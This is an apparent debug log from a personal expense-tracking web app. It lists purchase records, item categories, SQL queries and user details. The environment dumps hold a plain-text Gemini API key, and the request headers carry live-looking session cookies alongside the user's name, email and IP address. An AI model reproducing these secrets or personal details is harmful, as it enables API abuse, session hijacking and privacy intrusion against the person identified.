    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-12T13:43:22.197Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-12T13:43:22.199Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2025-12-12T13:47:46.812Z server-connect:router Serving templateView /
2025-12-12T13:47:46.813Z server-connect:app Executing action step identify
2025-12-12T13:47:46.813Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:46.813Z server-connect:output identity: 1
2025-12-12T13:47:46.813Z server-connect:app Executing action step restrict
2025-12-12T13:47:46.813Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:47:46.814Z server-connect:output restrict: undefined
2025-12-12T13:47:46.814Z server-connect:app Executing action step restrict
2025-12-12T13:47:46.814Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:47:46.815Z server-connect:output restrict: undefined
2025-12-12T13:47:46.815Z server-connect:router Render template layouts/main
2025-12-12T13:47:46.815Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-12T13:47:47.796Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-12T13:47:47.796Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-12T13:47:47.797Z server-connect:app Executing action step identify
2025-12-12T13:47:47.797Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:47.797Z server-connect:output identity: 1
2025-12-12T13:47:47.797Z server-connect:app Executing action step restrict
2025-12-12T13:47:47.797Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:47.797Z server-connect:app Executing action step identify
2025-12-12T13:47:47.797Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:47.797Z server-connect:output identity: 1
2025-12-12T13:47:47.797Z server-connect:app Executing action step restrict
2025-12-12T13:47:47.797Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:47.798Z server-connect:output restrict: undefined
2025-12-12T13:47:47.798Z server-connect:app Executing action step single
2025-12-12T13:47:47.798Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-12T13:47:47.798Z server-connect:output restrict: undefined
2025-12-12T13:47:47.798Z server-connect:app Executing action step select
2025-12-12T13:47:47.798Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-12T13:47:47.799Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-12T13:47:47.803Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-12T13:47:51.791Z server-connect:router Serving templateView /diecast
2025-12-12T13:47:51.791Z server-connect:app Executing action step identify
2025-12-12T13:47:51.791Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:51.792Z server-connect:output identity: 1
2025-12-12T13:47:51.792Z server-connect:app Executing action step restrict
2025-12-12T13:47:51.792Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:47:51.792Z server-connect:output restrict: undefined
2025-12-12T13:47:51.792Z server-connect:router Render template diecast
2025-12-12T13:47:51.792Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-12T13:47:52.017Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-12T13:47:52.017Z server-connect:app Executing action step identify
2025-12-12T13:47:52.017Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:52.017Z server-connect:output identity: 1
